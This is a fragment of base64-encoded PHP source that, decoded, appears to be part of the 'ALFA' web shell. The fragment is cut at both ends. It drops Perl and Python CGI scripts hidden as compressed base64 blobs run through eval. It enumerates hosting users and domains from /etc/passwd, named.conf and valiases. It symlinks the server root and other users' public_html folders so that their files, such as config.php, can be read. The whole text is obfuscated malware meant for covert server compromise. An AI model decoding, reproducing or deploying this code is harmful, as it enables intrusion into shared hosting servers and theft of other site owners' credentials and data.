AY2hkaXIoJ2NnaWFsZmEnKTsKYWxmYWNnaWh0YWNjZXNzKCdjZ2knKTsKJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO215ICRhbGZhX2RhdGE9IicuX19BTEZBX0RBVEFfRk9MREVSX18uJyI7ZXZhbChDb21wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS81MFllMVBUU1B5ckxMRm5FcVY1VkJCczJnS0g0am1qY2lQb1A1VHJiTExiTnBJbXVlejJaYW1mL1g3N1NCcWdvSE9aSWQzTi90N3ZaY29vaXJLVWNaeHk5T0ZpY1ByK0ErcjIwQTVkeEl3ejFEajU4djdibFhjZFRKYW9NV3Y1cUlzTVEyMUN0WTZIeUZKNE5scmxSUXhrak5NczVUVGxUYjdNYVJ0eHV1RHVtRStTZnRwUE8yTFI2NHdwSnIwT2ozbENlNmNab1FTRlMzVHk4ZXdFWGRLVFR4MVhuWFFZWDhJUFhna1NUVUtqck1BOHp0SjJtcVUwV0hkY2RkNXhGYmt3STBzVWpxSXN5WXF1K2N5VGo5a3pBaVdXMlNIeERFbVVycEZqUXVKMDFQYTlmQkVFRTF5TTRyUVpacHhuRS9VdHpBcENpN2FmTHhEQmJBd1NQaHZLSjVEMDI3QVQ1QU1wR2s3aVVkcU9RR2RhQkVQUXZqbW44V2pNMjJHV0VQV0J4VDlvdS9VYUtCc2JqVm1XVU1Rd1FjOVJuTTVpRm9ldy80a3VscE1rVG0vUW4wdjBOeTJTamd1Qzk4eGdUUk5HVjlvTmxXZVVKeG80R2VJQndSdzdoaHVOWXJGMWpXRE5waUdRSHVDaXdFdTBBc2RaZ08vdE5tYStad1BhOFVBNDg0K1pQNFROQk9kbzFSZ0kvL3RyZEN3QWc0THlhWkVpUzhVRElQdkRsVUJlMi9hUjMvWVVnM3hPU3Rxdk5kVjRhTzNvc0ZocEdrTHdZQTBIQUlYb3Y4Z2djVUVqYmxRQWhqdk9KdFJkVFJrdDFtNCtEWk00R29oNEVZb0FYcE1DQ09XUm0rSUpKUTZFN2RCQXo1K2pKdEhmWitBSHpDaHpmNVBtTWN1VG1JUEE4dGR5KzY2N2l4cnZQbjliR1cvUFQ3OStldmY1Y3ZEbC9QelNXTnNxNWc4QU5zOXlwQkNEMmxLeis1N0ZxV1c0eHE3K2Jqc2dnV1p1SUFjb0tJdE44QTNsUldtMFBlQTZvK0xsSDRyM3ZqYWlUcWNPUUtxd05SOUdtd2xwQkxFdllneVZrWDhHaitkRDVBUERQY2ZvdU9JVTBrUUFjcktGVmtLSFhGRENhRnpRWWRjMEhKQ0tTaWRkSFlubjJrQkh5UHlPWjVoRlJaenpOazVvd1MxakR0VkRWSTVobkJKRXNnbU9VOGR4RE50c0kzUE1lZDUyWFJPRW9MWmptSWhEbGxIZU5RZGhndE1iODU3UW5uZlNhbmxLYUZvVEdsZUNiOUh5N0V3aCtJY1AxS3hyQXpuaUdDSWxtTW9zVjZ4elNDMkhMN2c0M29lcytaV0FZRk5aVDNSMlBoRFE1VVZQWnh6SkJzRHBmazdJRVBKZmlSaWFFL2xkZkRxZStmdnd5ZEticUxaK1ZhMGJNd0pyWDVPQXBhZVdielpMYjdQMEZVUXQxV1RHUUZhb1k4RkRmd3F5bkVKNkUwKzRqdTBpODE2Q21UYktpZ3FuVERBajBGSjNOR0l2aUpJTVdvbmVLdGFBSTNoWFNDVjdJYlI1TjJGTktRY1VCS1FhVFd0WEFTcmVCMUozemJLZ29uUVhFdXJPdWVKNWNKZkxEQmRLbTZjNStML2c0SmNjZHNUR1hpa25RRG1EQjZyeXRxSzIxYkN6dU9CVG5MZ3FWYko1U2d0V21maU9FRTliMXRkYUh0YWNYak9yNXZLa3pvZWFXN1JWNDhPTlNROUxYYVFkSHc4UkltVlJCRHZ5dUpSZGJxcjI1V25MNmUwYnZhMFVxK0pYY0xWeXpOaTg0cXAyajFoTUhmWUM0UW9JVnJVMWdnMWxYVTkxRVVEdmlpSXJSTG5Tb2xYbEZvczJyQWFBcnVtYlpjRU1jWFF6S3JKcFNwcDZCbEFqaGg0ZjJoN0NVNTdKaXF6bm0vOVp0MTg4S0dWYksrVmJHVVRzYWVDeVNuNkZIdlJMME8wRnJpeHU4Tko2aVVrTGFsMWpJZTAvekNCK29yRU1Na0NreUJJZXNWY1J0TjVjQjZlY1VjU2gzdVBhSk9tVGNwUjhVSzkweGtGUVNNTGRuMmppT2krT2ZzRDhod3dMVnJhQlZtNVFNdkMxSjYwNlIxdWdNZGNob2V1T3FrQUxKUjlna1lKcjdvd2xpamU2dlVYbGwxb0ZxeU03R3FqY09oVTFwWmFNd251RGllaFZZYUNHR1FFaXcxMFlBeHBQUHAvR3hMSmdGdWVXUExPdjlxNXRyWklpck5hcWE5RE40TklXYzR2VU5kRGs0SWVxNlZBWlFtejlhMlhpTjVLcDJDdkwvTk5uTDIvaHJ5SHNVOGYzSmI2Z3N4MHdyREdxVzFCblhta3RldFc2UmgyMDczbWxmVFJ1TlZ5b2RuZFFtOFRXYWhhRGRpbFZJaVduL1d2bzFNS0tCMEs2MHBsNHF6TkZqRlNpV0JzcXIzUkU2TGxNNEl2QWtGaEVESlQzOUZCZTlzckdzaWVMVXozb29lUkJ5RWQzSXI1VkMzQmNpMitpclJJOUZzekNPUzBWekpaQ2JmaGE0TDV6MjIvV2d0aXJZR2RSQlF4eTNJZVd3QzBBbGcxbmtFQXg3eUo0ai9oWVdzOUdUVFZiVkNNSFlNQWN3M2doejNlUkI3Nm9rRzFobk9yNHdhbFVzTHh6V0gyZ0tSMkpIZENqU2hBNS8xcU5oVGhTYlFuTE53RjNMMTYrRExTZC9TQ2ZzckZWb3dGNmlLNnJDOE1lT0dWRHFvcW5MUVIxNmp3bUdnVGtkdUg4Y0F1eEIwSUJObkFvRzRpckNpVDhpazRpaHNMMTVBYjZxMVdmUVVGSTcyQi9YNDkzdm95WForcG1DUGUrQzNFenZKQTN3dy9semJDZm51Zmkrc3ZnRTZFTHl0QlpsaVRaSE9yMVJ5REkrdWxiT1h4a3hWSUN5T3VseG5WeXVQVDAweE5DTHVGU3J1N2tlUUx0QStYalhQenRJUUdSSUhnaGRWa0gyTDl3U21EUS93MXdIZWxETlUvQ0FyelJBeFh2VE4zT21PTW9vb3lWVjNJSTMrRmFhcThuQlVGQlE2dHIxT05UdXd6U25lcE91RzJ5Z3JSWGs3aFZOaFJkVE11djViQW1VNlM4cmxaZTFFNlUvN0VBSC80SDVlSEtmU3NSQUFBPSIpKSk7JzsKJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG5hbGZhX2RhdGE9JyIuX19BTEZBX0RBVEFfRk9MREVSX18uIidcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5ZFdOMXo0amdTZnpaL2hkWlRXY09HMkpDNnZRZEMyTXJOVE82bWFuZm42aWI3bEZBdVlRdndqckZja2dpd1UzTi8rM1hyd3hiZ1pLYk9EMWlXK2x2ZFA3VlE0akRwRVhpS1RjMkZJdG1xVUFzOW9VY3hxK2lpWlAxQmorMHpWcXRKTDZpcGxMMmVKVmZGaHJreGwyNGtEODFRTk12MUx1LzFWaVZmMERLRk1ia2xZZWkrdDZJMDN4OCtwVy8vK1FIRzk3U1VyS2VjZFVkOElENm1Zdlg4T0o3N2kwYUlWS0pQeXlWTmM2cm9nRnlTTUFGUGNDWUpHeWVRcTFIMUlMYXMxOHZaa3F5WVFoWDltc3NCZUZvc0d5SnJFRXdHZ3FtdHFEeUxOQ0d3SUZXWUY0SmxLaVJja0Q2WGNVM1ZPaTdrc29BWWhnbFRXVkxSRGN2ampGZkxjRUJvbFpPV0NuZ3QwVE10Q3lxWlRNTEJ3Tk1aSm11K1ljbVhyV1RpYTFKdkYyV1JwV3UxS2NHMUFMakJCQlRIcXVkQzhPb3hmUGZ4N1IrL3ZmLzlJZjNQeDQ4UDRUeVdkVmtvVUJFT1lCczFOekFnWDF6ekd2WTQ4TWRPNTRWMENpOWtTQzRJOHNkLzhxTHFJL1ZnU0l5a2dRbmhobjVtc0FNWjMxWnFTSEsrb1VVMUpNZy9KTmt1UjIvV1N0VzQyL2llSkVsNGlWdG1LQWM2bG1hc3cvbjRDejd6RUlOZythSS82VE9WbVNoZ0kybkpCRGkwWXlTamxTTExBdUpwdU9NNERnY1J1Q2tLV0FpblNrQm1IRXAyR3ltMlYxY1EzMVUxeVZpbG1MaUpabE9WejZaTERwUVpMN200amQ3Y3d6TWFSek5qblhabmNCbE9FeVNhVFJPa1YzbUh5Skl0RlFxa1pDM1k4all5L0dnNnNFZEVRZDR5ZFJ1bGk1SlduNk1UcGFQUjNmWDF5Q20xSWZHMDBrWnpoN1gzOTQ0Um8zMXU3S2xOYmRVQUxkYUhQR3pLb3ZxYzRMZysySzlZN1pXTkFlemVaWmg4eXdjSUd6elI3SlBoUDdNOVVXSUcyYXFUSmVlcFZlTktibk93TmU2WFlpK0EzVTBGbzNtcXE4ZlZiRkRJRkRKZGJXblpURDFUMFJBWkRBbE1IUG11WXJwQTdDd1RBbXEwK1hROGovTmVBQVl4YWNmNUF0M01QcGVGVkhiS3EzYk5wWlB6eUJRcjg5eHN0NkJ4TFFnYVRieG1WUWMreE1pc2FiQWdBNE5lNUwxK0ZielNJcHlvVnBhTTBkaE9NRUhDVGltdG1HNDVFRlpqbVpFUkhNWFpSUDVGMFUyb0RSMHJ6K0Z5OG5wTWJHUVRmeWZQb25PNno5YXExNFBtWERnUG1sWDVXc3c2OTl3UFpTUDl1N2IzeGZpOW1FWW5rWVc0Nmdsa08wbnZRQWVjaEhoNDcvTHdKbmc5NEpic3V4THdaUnNzOXRvU0orOXhIbkVaYzhDY3BRMDZZNU5CRmx6a0REQmtIRGxnWFVEbHJRU0FiMzZsOFdYeVpxU2ZtdzFnVUZGTlJvUnVGZGNBdmdaTFovODN6UDkwQnBhZHdQeE9wNWg4bmRpQjhSOEF3OThrN1FaTEI1VHdZLzFhOFB5QXVCbnNJZFJqZUM4aDZMZ3pCRTVLdlVQTlhnSUJ2bUlBN2FJMm1VWHpYREFwN1FyTzZETEJqSGo4QVo4NWlnNEE0bFBGTnJYcHhURER1NkJPVDN2MTcvVkc4RWhHUmJZR0NRSXMwT04rRlAvMHkxOGNEQXY3TUJxRTVFczAxSVpZTEFGeGh0S0s4TXcxOHpIbVFOMGZXM3JXYWd1Z2tsUlJPZnhwRjFvUmRnU3BYQU9RUXhzVzU0dHdDQTRhYWRpYW9TUG84ekZjbW5iSHNqdS9UM282eHoyd2F0dmFieUlNcDFnTXAxbTkyeFk1dG9SU1VkWHl3V2NLQzRPNDN1bDRXZys3Z2VCRmIvMzVkaG83NENZWlRPczNzVjZESjJCQTMvVElVM0xkSWFkeEFJa2VSL1BlY1ZqMTdIanVwUG5nYTRVZDhZL25majZlQ1JvZEwzdDVaNkZvMHFRS0lJYTIrL0Y2anFiL1BCcDFSc2ZUMEhTUlpxSHBmRTJ6NFVMek5YRm5tMThHRnk0UGpNNmY1NjdmQlk4c3VWY29QNXdhN0lteTJwbzBORTAxWktLT2s1RmxSWjBBUHQ0U1RzS0I5NHYyK0puWVRLN3k0K05CZzRST2JnQUpMY3M3bUlBUVg4ZmJVcVVZdHFiK082eHh3YTdTNzYxMG5lZVdDOFE1UmllbzFlbFdUc3JkY21taVFwTGZRWDdEZTdMbm1CNG5VZkhsTi9VbFdwVTRhRGZsS2h5Ryt0aHpXS0cvdlh4T29XeXdwcUI0ekw2Ukt3M0g4SnoyaVE0eGtPeHhOR25ZNTdpUnhvS2phV2R2dmpDSkIzbDNZWlFNcloxZUZJRUk5clJSMlFUa09CNkJ2WTd0blFTYmJmb3VwaFBUaWR5VHkxdm5TSnRKVFdmbmVSZlRHaHFGdko4dm1scDE5TWNuUWF1N0tjQ1gxTGZhUGZUcUNJT3Q2VWF4aVlMZm8zY0JXV3VJNVgvQkRDOEd2c2hqaDEzTGtwZ2pHZDdZdThEUkRIY2FzQ2pWVlpLbXVsalRGRUV4VFJFTXZMOFR2TTduTGRnSjNjbVZPdFJzUXJCblNmQSsvMVE5VlZNY3pLYjIvQzhVS0huTE1jeUxBN243OWY2T1BMQzczMEM5WHBucXJtZEd2K2kySjJjWkYxUWZIQlZVeTgzWGFXTFdwNGtSaDZhVHhhcHRiMHdiRWphR1JkTzhlTGF0RkdCT25oZlZhakllMWZzYjIzcGRMYmhTZkdQbVRPTTJHZGQ3UUhPNUJodmZMUFZ6WTd1MjVWSjNiZWM5R2ZZN1Z6dFdyTlpxc3VCbGJpWms4UmViWFA4ZEpJZXR6NUpEaXlocFRuNkVQWDh1WklFdDQzK0piWjNJUHc3azN3ZTE1dFUwQWRObmNQVzNaekVldVFjSnU5d1B4WVpjaVNYeExydTZ0b0VDVXdUL3p1aEgzbUprRjdNMTNndE9WcHhrYzMwTkUyd3B6bS9PbW02dGFKYlpvK2lOOFFlcy9ZVCtmTkwrZkhEK1BGVWY5WGt2WVNwbmUyakw3M2xaOGgwNCtTdUlsRS9WTzMxaDR1S2dDWFJRTEc5Y1E4SThWWGQ1L2dESlpISUpVQXpxbzE3WEJKTUpmL0RqYjZRMlNRYTAvNExEcFlSait0dmttQnliNXBvUU82Y0FJSGVYT295YmVDY0t4ZnB1eGN4bEpaZjQvMkd2cTMxNjdYcDNEQ2ZlWHdWaGV4RmxYY3YyVGducnAyM1VFTzhtL3IzRFpDRlVUMDByZDNFd0tTdFlEaGVHQytqZmNRMEt4NUppS3dCQy9nZWpCbWtrIikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKJGNnaW5hbWUgPSAic3ltcGVybC5hbGZhIjsKJHNvdXJjZSA9ICRwZXJsOwokbGFuZyA9ICJwZXJsIjsKaWYoJF9QT1NUWyJhbGZhMiJdPT0ic3ltcHkiKXsKJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOwokc291cmNlID0gJHB5OwokbGFuZyA9ICJweXRob24iOwp9CkBfX3dyaXRlX2ZpbGUoJGNnaW5hbWUsJHNvdXJjZSk7CkBjaG1vZCgkY2dpbmFtZSwwNzU1KTsKZWNobyBfX3ByZSgpOwokcmVzb3VyY2UgPSBhbGZhRXgoInskbGFuZ30geyRjZ2luYW1lfSB7JHN5bXBhdGh9IixmYWxzZSx0cnVlLHRydWUpOwppZihzdHJsZW4oJHJlc291cmNlKSA9PSAwKXsKZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsKfWVsc2V7CmVjaG8gJHJlc291cmNlOwp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSAmJiAkX1BPU1RbJ2FsZmE0J109PSdTeW1GaWxlJyl7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpfHxfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKQWxmYU51bSg5LDEwKTsKZWNobyBfX3ByZSgpLicKPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTeW1saW5rIEZpbGUgQW5kIERpcmVjdG9yeSB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxudWxsLG51bGwsXCdTeW1GaWxlXCcsdGhpcy5maWxlLnZhbHVlLHRoaXMuc3ltZmlsZS52YWx1ZSx0aGlzLnN5bWxpbmsudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvY29uZmlnLnBocCIgc2l6ZT0iNjAiLz48YnIgLz4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogYWxmYS50eHQiIHNpemU9IjYwIi8+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJzeW1saW5rIiAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKJHBhdGggPSAkX1BPU1RbJ2FsZmE1J107CiRzeW1uYW1lID0gJF9QT1NUWydhbGZhNiddOwokc29sZXZpc2libGU1OCA9ICRfUE9TVFsnYWxmYTcnXTsKaWYoJHNvbGV2aXNpYmxlNTgpewokbmV3X25hbWUgPSBzdHJfcmVwbGFjZSgiLiIsICJfIiwgYmFzZW5hbWUoJHN5bW5hbWUpKTsKJHJhbmRfZGlyID0gJG5ld19uYW1lLnJhbmQoMTExLDk5OTkpOwokc3ltX2RpciA9ICdhbGZhc3ltbGlua3BocC8nLiRyYW5kX2Rpci4nLyc7CkBta2Rpcigkc3ltX2RpciwgMDc3NywgdHJ1ZSk7CmFsZmFjZ2lodGFjY2Vzcygnc3ltJywgJHN5bV9kaXIsICRzeW1uYW1lKTsKX2FsZmFfc3ltbGluaygiJHBhdGgiLCIkc3ltX2Rpci8kc3ltbmFtZSIpOwplY2hvIF9fcHJlKCk7CmVjaG8gJzxjZW50ZXI+PGI+PGZvbnQgY29sb3I9IndoaXRlIj5DbGljayA+PiA8L2ZvbnQ+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IicuX19BTEZBX0RBVEFfRk9MREVSX18uIi8iLiRzeW1fZGlyLiciID48Yj48Zm9udCBzaXplPSI0Ij4nLiRzeW1uYW1lLic8L2ZvbnQ+PC9iPjwvYT48L2I+PC9jZW50ZXI+JzsKfQp9ZWxzZXtlY2hvICI8Y2VudGVyPjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIFN5bWxpbmsgRnVuY3Rpb24gRGlzYWJsZWQgITwvYj48L2ZvbnQ+PC9wcmU+PC9jZW50ZXI+Ijt9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAkX1BPU1RbJ2FsZmEyJ109PSdzeW1waHAnKXsKJGNhbnRfc3ltbGluayA9IHRydWU7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpfHxfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSkpewpAbWtkaXIoJ2FsZmFzeW1saW5rJywwNzc3KTsKYWxmYWNnaWh0YWNjZXNzKCdzeW0nLCdhbGZhc3ltbGluay8nKTsKX2FsZmFfc3ltbGluaygnLycsJ2FsZmFzeW1saW5rL3Jvb3QnKTsKJHRhYmxlX2hlYWRlciA9ICI8cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjx0YWJsZSBpZD0ndGJsX3N5bXBwaHAnIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyBib3JkZXI9JzEnPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6I0ZGRkYwMTsnPjxiPio8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojMDBBMjIwOyc+PGI+RG9tYWluczwvc3Bhbj48L2I+PC90ZD48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGRkY7Jz48Yj5Vc2Vyczwvc3Bhbj48L2I+PC90ZD48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRjAwMDA7Jz48Yj5zeW1saW5rPC9zcGFuPjwvYj48L3RkPiI7CmlmKF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSAmJiAhX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSAmJiBfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92YWxpYXNlcy8iKSl7CmVjaG8gIjxjZW50ZXI+IjsKJGxpbmVzID0gYXJyYXkoKTsKJGFub255X2RvbWFpbnMgPSBhcnJheSgpOwokYW5vbnltb3VzX3VzZXJzID0gYXJyYXkoKTsKJGZfYmxhY2sgPSBhcnJheSgpOwokZXJyb3IgPSBmYWxzZTsKJGFub255bW91cyA9IGZhbHNlOwokbWFrZXB3ZCA9ICIvaG9tZS97dXNlcn0vcHVibGljX2h0bWwvIjsKJGRvbWFpbnMgPSBhbGZhR2V0RG9tYWlucygpOwokbGluZXMgPSAkZG9tYWluc1sibGluZXMiXTsKJHN0YXRlID0gJGRvbWFpbnNbInN0YXRlIl07CiRpc19wb3NpeCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpOwokY2FuX3J1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKGZhbHNlLGZhbHNlKTsKaWYoISRpc19wb3NpeCAmJiAhJGNhbl9ydW5jbWQpewokYW5vbnltb3VzID0gdHJ1ZTsKJGFub255X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsKJGxpbmVzID0gX2FsZmFfZmlsZSgnL2V0Yy9wYXNzd2QnKTsKfQplY2hvICR0YWJsZV9oZWFkZXI7CiRjb3VudD0xOwokdGVtcGxhdGUgPSAnPHRyPjx0ZD48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkYwMTsiPntjb3VudH08L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJ7aHR0cH0iLz48c3BhbiBzdHlsZT0iY29sb3I6IzAwQTIyMDttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e2RvbWFpbn08L2I+IDwvYT48L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRkZGO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57b3duZXJ9PC9mb250PjwvYj48L3RkPjx0ZD48YSBocmVmPSInLl9fQUxGQV9EQVRBX0ZPTERFUl9fLicvYWxmYXN5bWxpbmsvcm9vdHtzeW1wYXRofSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7CmZvcmVhY2goJGxpbmVzIGFzICRsaW5lKXsKJGRvbWFpbiA9ICIiOwokb3duZXIgPSAiIjsKaWYoJGFub255bW91cyl7CiRleHBsb2RlID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKJG93bmVyID0gJGV4cGxvZGVbMF07CiRvd25lcl9sZW4gPSBzdHJsZW4oJG93bmVyKSAtIDE7CiR1c2VyaWQgPSAkZXhwbG9kZVsyXTsKaWYoKGludCkkdXNlcmlkIDwgNTAwKWNvbnRpbnVlOwokZG9tYWluID0gIls/Pz8/P10iOwokdGVtcF9ibGFjayA9IGFycmF5KCk7CiRmaW5kZWQgPSBmYWxzZTsKZm9yZWFjaCgkYW5vbnlfZG9tYWlucyBhcyAkYW5vbnkpewppZigkc3RhdGUgPT0gIm5hbWVkLmNvbmYiKXsKaWYoQHN0cnN0cigkYW5vbnksICd6b25lJykpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGFub255LCAkZGF0YSk7CiRkb21haW4gPSAkZGF0YVsxXVswXTsKfWVsc2V7CmNvbnRpbnVlOwp9Cn1lbHNlaWYoJHN0YXRlID09ICJuYW1lZCIgfHwgJHN0YXRlID09ICJ2YWxpYXNlcyIpewppZigkYW5vbnkgPT0gIi4iIHx8ICRhbm9ueSA9PSAiLi4iKWNvbnRpbnVlOwppZigkc3RhdGUgPT0gIm5hbWVkIikkYW5vbnkgPSBydHJpbSgkYW5vbnksICIuZGIiKTsKJGRvbWFpbiA9ICRhbm9ueTsKfQokc3ViX2RvbWFpbiA9IHN0cl9yZXBsYWNlKGFycmF5KCItIiwiLiIpLCAiIiwgJGRvbWFpbik7CmlmKHN1YnN0cigkb3duZXIsIDAsICRvd25lcl9sZW4pID09IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwgJG93bmVyX2xlbikpewppZihpbl9hcnJheSgkb3duZXIuJGRvbWFpbiwgJHRlbXBfYmxhY2spKWNvbnRpbnVlOwokc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKJGh0dHAgPSAiaHR0cDovLyIuJGRvbWFpbjsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgJGRvbWFpbiwgJG93bmVyLCAkc3ltcGF0aCksICR0ZW1wbGF0ZSk7CiRjb3VudCsrOwokdGVtcF9ibGFja1tdID0gJG93bmVyLiRkb21haW47CiRmaW5kZWQgPSB0cnVlOwp9Cn0KaWYoISRmaW5kZWQpewokYW5vbnltb3VzX3VzZXJzW10gPSAkb3duZXI7Cn0KfWVsc2V7CiBpZigkc3RhdGUgPT0gIm5hbWVkLmNvbmYiKXsKaWYoQHN0cnN0cigkbGluZSwgJ3pvbmUnKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwokZG9tYWluID0gJGRhdGFbMV1bMF07Cn1lbHNlewpjb250aW51ZTsKfQp9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsKaWYoJGxpbmUgPT0gIi4iIHx8ICRsaW5lID09ICIuLiIpY29udGludWU7CmlmKCRzdGF0ZSA9PSAibmFtZWQiKSRsaW5lID0gcnRyaW0oJGxpbmUsICIuZGIiKTsKJGRvbWFpbiA9ICRsaW5lOwp9CmlmKHN0cmxlbih0cmltKCRkb21haW4pKSA+IDIgJiYgJHN0YXRlICE9ICJwYXNzd2QiKXsKaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbiwgZmFsc2UpKWNvbnRpbnVlOwppZigkaXNfcG9zaXgpewokdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbikpOwokb3duZXIgPSAkdXNlclsibmFtZSJdOwp9ZWxzZWlmKCRjYW5fcnVuY21kKXsKJG93bmVyID0gYWxmYUV4KCJzdGF0IC1jICclVScgL2V0Yy92YWxpYXNlcy8iLiRkb21haW4sZmFsc2UsZmFsc2UpOwp9Cn0KfQppZighJGFub255bW91cyl7CmlmKHN0cmxlbigkb3duZXIpPT0wIHx8IGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkZl9ibGFjaykpY29udGludWU7CiRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOwokaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOwppZigkc3RhdGUgPT0gInBhc3N3ZCIpewokaHR0cCA9ICJqYXZhc2NyaXB0OmFsZXJ0KCd3ZSBjYW50IGZpbmQgZG9tYWluLi4uJykiOwp9CmVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwokY291bnQrKzsKJGZfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOwp9Cn0KaWYoJGFub255bW91cyl7CmZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpewokc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKJGh0dHAgPSAiamF2YXNjcmlwdDphbGVydCgnd2UgY2FudCBmaW5kIGRvbWFpbi4uLicpIjsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwokY291bnQrKzsKfQp9CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfWVsc2V7CiRpc19kaXJlY3QgPSBmYWxzZTsKJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sIjsKJGlzX2RpcmVjdCA9IHRydWU7Cn0KJHNvbGUgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7CiRjb3VudD0xOwplY2hvICR0YWJsZV9oZWFkZXI7CiR0ZW1wbGF0ZSA9ICc8dHI+PHRkPjxzcGFuIHN0eWxlPSJjb2xvcjo